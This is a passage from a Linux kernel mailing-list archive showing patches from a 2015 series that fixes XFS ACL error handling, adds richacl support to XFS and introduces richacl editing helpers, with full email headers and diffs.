linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 22/46] xfs: Fix error path in xfs_get_acl Date: Mon, 12 Oct 2015 00:58:33 +0200 X-ASG-Orig-Subj: [PATCH v10 22/46] xfs: Fix error path in xfs_get_acl Message-Id: <1444604337-17651-23-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604504 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Error codes from xfs_attr_get other than -ENOATTR were not properly reported. Fix that, and clean the code up somewhat. In addition, the declaration of struct xfs_inode in xfs_acl.h isn't needed. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 19 +++++++------------ fs/xfs/xfs_acl.h | 1 - 2 files changed, 7 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..0f4ee92 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -122,7 +122,7 @@ struct posix_acl * xfs_get_acl(struct inode *inode, int type) { struct xfs_inode *ip = XFS_I(inode); - struct posix_acl *acl = NULL; + struct posix_acl *acl; struct xfs_acl *xfs_acl; unsigned char *ea_name; int error; @@ -158,18 +158,13 @@ xfs_get_acl(struct inode *inode, int type) * cache entry, for any other error assume it is transient and * leave the cache entry as ACL_NOT_CACHED. */ - if (error == -ENOATTR) - goto out_update_cache; - goto out; - } + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); + } else + acl = xfs_acl_from_disk(xfs_acl, + XFS_ACL_MAX_ENTRIES(ip->i_mount)); - acl = xfs_acl_from_disk(xfs_acl, XFS_ACL_MAX_ENTRIES(ip->i_mount)); - if (IS_ERR(acl)) - goto out; - -out_update_cache: - set_cached_acl(inode, type, acl); -out: + if (!IS_ERR(acl)) + set_cached_acl(inode, type, acl); kmem_free(xfs_acl); return acl; } diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..9ee0a0d 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -20,7 +20,6 @@ struct inode; struct posix_acl; -struct xfs_inode; #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B000D7F6A for ; Sun, 11 Oct 2015 18:01:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D88FAC002 for ; Sun, 11 Oct 2015 16:01:52 -0700 (PDT) X-ASG-Debug-ID: 1444604511-04bdf020dda1b70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id d8Cp5iq2dtl9tgXU (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:51 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D51AEA85; Sun, 11 Oct 2015 23:01:50 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36l016614; Sun, 11 Oct 2015 19:01:44 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 23/46] xfs: Make xfs_set_mode non-static Date: Mon, 12 Oct 2015 00:58:34 +0200 X-ASG-Orig-Subj: [PATCH v10 23/46] xfs: Make xfs_set_mode non-static Message-Id: <1444604337-17651-24-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604511 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Make xfs_set_mode non-static and move it from xfs_acl.c into xfs_inode.c. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 18 ------------------ fs/xfs/xfs_inode.c | 18 ++++++++++++++++++ fs/xfs/xfs_inode.h | 2 ++ 3 files changed, 20 insertions(+), 18 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 0f4ee92..8929466 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -226,24 +226,6 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) } static int -xfs_set_mode(struct inode *inode, umode_t mode) -{ - int error = 0; - - if (mode != inode->i_mode) { - struct iattr iattr; - - iattr.ia_valid = ATTR_MODE | ATTR_CTIME; - iattr.ia_mode = mode; - iattr.ia_ctime = current_fs_time(inode->i_sb); - - error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); - } - - return error; -} - -static int xfs_acl_exists(struct inode *inode, unsigned char *name) { int len = XFS_ACL_MAX_SIZE(XFS_M(inode->i_sb)); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..69148fa 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -3587,3 +3587,21 @@ xfs_iflush_int( corrupt_out: return -EFSCORRUPTED; } + +int +xfs_set_mode(struct inode *inode, umode_t mode) +{ + int error = 0; + + if (mode != inode->i_mode) { + struct iattr iattr; + + iattr.ia_valid = ATTR_MODE | ATTR_CTIME; + iattr.ia_mode = mode; + iattr.ia_ctime = current_fs_time(inode->i_sb); + + error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); + } + + return error; +} diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index ca9e119..7b22db0 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -424,6 +424,8 @@ int xfs_dir_ialloc(struct xfs_trans **, struct xfs_inode *, umode_t, int xfs_droplink(struct xfs_trans *, struct xfs_inode *); int xfs_bumplink(struct xfs_trans *, struct xfs_inode *); +int xfs_set_mode(struct inode *, umode_t); + /* from xfs_file.c */ enum xfs_prealloc_flags { XFS_PREALLOC_SET = (1 << 1), -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 875097F56 for ; Sun, 11 Oct 2015 18:02:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C4AF304048 for ; Sun, 11 Oct 2015 16:02:00 -0700 (PDT) X-ASG-Debug-ID: 1444604517-04bdf020dca1b70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 62BO4ug0gHGqCYzy (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:58 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id BB32A2FE81A; Sun, 11 Oct 2015 23:01:57 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36m016614; Sun, 11 Oct 2015 19:01:51 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 24/46] xfs: Add richacl support Date: Mon, 12 Oct 2015 00:58:35 +0200 X-ASG-Orig-Subj: [PATCH v10 24/46] xfs: Add richacl support Message-Id: <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604518 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The richacl feature flag (mkfs.xfs -m richacl=1) determines whether an xfs filesystem supports posix acls or richacls. Richacls are stored in "system.richacl" xattrs. If richacls are not compiled into the kernel, mounting richacl filesystems will fail. Signed-off-by: Andreas Gruenbacher --- fs/ext4/richacl.h | 1 - fs/xfs/Kconfig | 11 ++++++ fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 16 +++++++- fs/xfs/xfs_iops.c | 42 +++++++++++++++----- fs/xfs/xfs_richacl.c | 97 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_richacl.h | 34 ++++++++++++++++ fs/xfs/xfs_super.c | 14 ++++++- fs/xfs/xfs_super.h | 9 ++++- fs/xfs/xfs_xattr.c | 4 ++ 10 files changed, 215 insertions(+), 14 deletions(-) create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h index fc7826f..f26fbdd 100644 --- a/fs/ext4/richacl.h +++ b/fs/ext4/richacl.h @@ -24,7 +24,6 @@ extern struct richacl *ext4_get_richacl(struct inode *); extern int ext4_set_richacl(struct inode *, struct richacl *); - extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); #else /* CONFIG_EXT4_FS_RICHACL */ diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig index 5d47b4d..05dd312 100644 --- a/fs/xfs/Kconfig +++ b/fs/xfs/Kconfig @@ -52,6 +52,17 @@ config XFS_POSIX_ACL If you don't know what Access Control Lists are, say N. +config XFS_RICHACL + bool "XFS Rich Access Control Lists (EXPERIMENTAL)" + depends on XFS_FS + select FS_RICHACL + help + Richacls are an implementation of NFSv4 ACLs, extended by file masks + to cleanly integrate into the POSIX file permission model. To learn + more about them, see http://www.bestbits.at/richacl/. + + If you don't know what Richacls are, say N. + config XFS_RT bool "XFS Realtime subvolume support" depends on XFS_FS diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index a096841..7df9ae3 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -118,6 +118,7 @@ xfs-$(CONFIG_XFS_QUOTA) += xfs_dquot.o \ xfs-$(CONFIG_XFS_RT) += xfs_rtalloc.o xfs-$(CONFIG_XFS_POSIX_ACL) += xfs_acl.o +xfs-$(CONFIG_XFS_RICHACL) += xfs_richacl.o xfs-$(CONFIG_PROC_FS) += xfs_stats.o xfs-$(CONFIG_SYSCTL) += xfs_sysctl.o xfs-$(CONFIG_COMPAT) += xfs_ioctl32.o diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..8c6da45 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ + +#ifdef CONFIG_XFS_RICHACL +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ +#else +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 +#endif + #define XFS_SB_FEAT_INCOMPAT_ALL \ (XFS_SB_FEAT_INCOMPAT_FTYPE| \ XFS_SB_FEAT_INCOMPAT_SPINODES| \ - XFS_SB_FEAT_INCOMPAT_META_UUID) + XFS_SB_FEAT_INCOMPAT_META_UUID| \ + XFS_SB_FEAT_INCOMPAT_RICHACL) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool @@ -530,6 +538,12 @@ static inline bool xfs_sb_version_hasmetauuid(struct xfs_sb *sbp) (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_META_UUID); } +static inline bool xfs_sb_version_hasrichacl(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_incompat & XFS_SB_FEAT_INCOMPAT_RICHACL); +} + /* * end of superblock version macros */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..e37bdf87 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -27,6 +27,7 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_acl.h" +#include "xfs_richacl.h" #include "xfs_quota.h" #include "xfs_error.h" #include "xfs_attr.h" @@ -42,6 +43,7 @@ #include #include #include +#include #include #include #include @@ -133,7 +135,8 @@ xfs_generic_create( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl, *acl; + struct posix_acl *default_acl = NULL, *acl = NULL; + struct richacl *richacl = NULL; struct xfs_name name; int error; @@ -149,9 +152,15 @@ xfs_generic_create( rdev = 0; } - error = posix_acl_create(dir, &mode, &default_acl, &acl); - if (error) - return error; + if (XFS_IS_RICHACL(dir)) { + richacl = richacl_create(&mode, dir); + if (IS_ERR(richacl)) + return PTR_ERR(richacl); + } else { + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; + } if (!tmpfile) { xfs_dentry_to_name(&name, dentry, mode); @@ -180,6 +189,13 @@ xfs_generic_create( goto out_cleanup_inode; } #endif +#ifdef CONFIG_XFS_RICHACL + if (richacl) { + error = xfs_set_richacl(inode, richacl); + if (error) + goto out_cleanup_inode; + } +#endif if (tmpfile) d_tmpfile(dentry, inode); @@ -189,10 +205,9 @@ xfs_generic_create( xfs_finish_inode_setup(ip); out_free_acl: - if (default_acl) - posix_acl_release(default_acl); - if (acl) - posix_acl_release(acl); + posix_acl_release(default_acl); + posix_acl_release(acl); + richacl_put(richacl); return error; out_cleanup_inode: @@ -722,7 +737,10 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = posix_acl_chmod(inode, inode->i_mode); + if (XFS_IS_RICHACL(inode)) + error = richacl_chmod(inode, inode->i_mode); + else + error = posix_acl_chmod(inode, inode->i_mode); if (error) return error; } @@ -1104,6 +1122,8 @@ xfs_vn_tmpfile( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1132,6 +1152,8 @@ static const struct inode_operations xfs_dir_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1160,6 +1182,8 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_richacl.c b/fs/xfs/xfs_richacl.c new file mode 100644 index 0000000..af74e92 --- /dev/null +++ b/fs/xfs/xfs_richacl.c @@ -0,0 +1,97 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include "xfs.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_inode.h" +#include "xfs_attr.h" + +#include + +struct richacl * +xfs_get_richacl(struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + struct richacl *acl; + int size = XATTR_SIZE_MAX; + void *value; + int error; + + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return ERR_PTR(-ENOMEM); + + error = xfs_attr_get(ip, XATTR_NAME_RICHACL, value, &size, ATTR_ROOT); + if (error) { + /* + * If the attribute doesn't exist make sure we have a negative + * cache entry, for any other error assume it is transient and + * leave the cache entry as ACL_NOT_CACHED. + */ + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); + } else + acl = richacl_from_xattr(&init_user_ns, value, size); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + kfree(value); + + return acl; +} + +int +xfs_set_richacl(struct inode *inode, struct richacl *acl) +{ + struct xfs_inode *ip = XFS_I(inode); + umode_t mode = inode->i_mode; + int error; + + if (acl) { + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + + if (richacl_equiv_mode(acl, &mode) == 0) { + xfs_set_mode(inode, mode); + acl = NULL; + } + } + if (acl) { + void *value; + int size = richacl_xattr_size(acl); + + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + error = xfs_attr_set(ip, XATTR_NAME_RICHACL, value, size, + ATTR_ROOT); + kfree(value); + + if (!error) { + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + xfs_set_mode(inode, mode); + } + } else { + error = xfs_attr_remove(ip, XATTR_NAME_RICHACL, ATTR_ROOT); + if (error == -ENOATTR) + error = 0; + } + if (!error) + set_cached_richacl(inode, acl); + + return 0; +} diff --git a/fs/xfs/xfs_richacl.h b/fs/xfs/xfs_richacl.h new file mode 100644 index 0000000..78ad314 --- /dev/null +++ b/fs/xfs/xfs_richacl.h @@ -0,0 +1,34 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_XFS_RICHACL_H +#define __FS_XFS_RICHACL_H + +#include + +#ifdef CONFIG_XFS_RICHACL + +#define XFS_IS_RICHACL(inode) IS_RICHACL(inode) + +extern struct richacl *xfs_get_richacl(struct inode *); +extern int xfs_set_richacl(struct inode *, struct richacl *); + +#else /* CONFIG_XFS_RICHACL */ + +#define XFS_IS_RICHACL(inode) (0) +#define xfs_get_richacl NULL +#define xfs_set_richacl NULL + +#endif /* CONFIG_XFS_RICHACL */ +#endif /* __FS_XFS_RICHACL_H */ diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 904f637..74eeb0e 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1500,7 +1500,19 @@ xfs_fs_fill_super( sb->s_maxbytes = xfs_max_file_offset(sb->s_blocksize_bits); sb->s_max_links = XFS_MAXLINK; sb->s_time_gran = 1; - set_posix_acl_flag(sb); + + if (xfs_sb_version_hasrichacl(&mp->m_sb)) { +#ifdef CONFIG_XFS_RICHACL + sb->s_flags |= MS_RICHACL; +#else + error = -EOPNOTSUPP; + goto out_free_sb; +#endif + } else { +#ifdef CONFIG_XFS_POSIX_ACL + sb->s_flags |= MS_POSIXACL; +#endif + } /* version 5 superblocks support inode version counters. */ if (XFS_SB_VERSION_NUM(&mp->m_sb) == XFS_SB_VERSION_5) diff --git a/fs/xfs/xfs_super.h b/fs/xfs/xfs_super.h index 499058f..072fd57 100644 --- a/fs/xfs/xfs_super.h +++ b/fs/xfs/xfs_super.h @@ -30,10 +30,14 @@ extern void xfs_qm_exit(void); #ifdef CONFIG_XFS_POSIX_ACL # define XFS_ACL_STRING "ACLs, " -# define set_posix_acl_flag(sb) ((sb)->s_flags |= MS_POSIXACL) #else # define XFS_ACL_STRING -# define set_posix_acl_flag(sb) do { } while (0) +#endif + +#ifdef CONFIG_XFS_RICHACL +# define XFS_RICHACL_STRING "Richacls, " +#else +# define XFS_RICHACL_STRING #endif #define XFS_SECURITY_STRING "security attributes, " @@ -52,6 +56,7 @@ extern void xfs_qm_exit(void); #define XFS_VERSION_STRING "SGI XFS" #define XFS_BUILD_OPTIONS XFS_ACL_STRING \ + XFS_RICHACL_STRING \ XFS_SECURITY_STRING \ XFS_REALTIME_STRING \ XFS_DBG_STRING /* DBG must be last */ diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..238b39f 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -28,6 +28,7 @@ #include "xfs_acl.h" #include +#include #include @@ -103,6 +104,9 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &posix_acl_access_xattr_handler, &posix_acl_default_xattr_handler, #endif +#ifdef CONFIG_XFS_RICHACL + &richacl_xattr_handler, +#endif NULL }; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:06 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF1707FB8 for ; Sun, 11 Oct 2015 18:02:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF0A5304048 for ; Sun, 11 Oct 2015 16:02:06 -0700 (PDT) X-ASG-Debug-ID: 1444604524-04cb6c5785a7c20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2GYGsXRlveLcVEae (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:05 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id A1B858EA37; Sun, 11 Oct 2015 23:02:04 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36n016614; Sun, 11 Oct 2015 19:01:58 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 25/46] richacl: acl editing helper functions Date: Mon, 12 Oct 2015 00:58:36 +0200 X-ASG-Orig-Subj: [PATCH v10 25/46] richacl: acl editing helper functions Message-Id: <1444604337-17651-26-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604525 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The file masks in richacls make chmod and creating new files more efficient than having to apply file permission bits to the acl directly. They also allow us to regain permissions from an acl even after a restrictive chmod, because the permissions in the acl itself are not being destroyed. In POSIX ACLs, the mask entry has a similar function. Protocols like nfsv4 do not understand file masks. For those protocols, we need to compute nfs4 acls which represent the effective permissions granted by a richacl: we need to "apply" the file masks to the acl. This is the first in a series of richacl transformation patches; it implements basic richacl editing functions. The following patches implement algorithms for transforming a richacl so that it can be evaluated as a plain nfs4 acl, with identical permission check results. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 3 +- fs/richacl_compat.c | 155 +++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_compat.h | 40 +++++++++++ 3 files changed, 197 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_compat.c create mode 100644 include/linux/richacl_compat.h diff --git a/fs/Makefile b/fs/Makefile index 35e640d..32b391b 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,8 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o +richacl-y := richacl_base.o richacl_inode.o \ + richacl_xattr.o richacl_compat.o obj-y += quota/ diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c new file mode 100644 index 0000000..341e429 --- /dev/null +++ b/fs/richacl_compat.c @@ -0,0 +1,155 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include + +/** + * richacl_prepare - allocate richacl being constructed + * + * Allocate a richacl which can hold @count entries but which is initially + * empty. + */ +struct richacl *richacl_prepare(struct richacl_alloc *alloc, unsigned int count) +{ + alloc->acl = richacl_alloc(count, GFP_KERNEL); + if (!alloc->acl) + return NULL; + alloc->acl->a_count = 0; + alloc->count = count; + return alloc->acl; +} +EXPORT_SYMBOL_GPL(richacl_prepare); + +/** + * richacl_delete_entry - delete an entry in 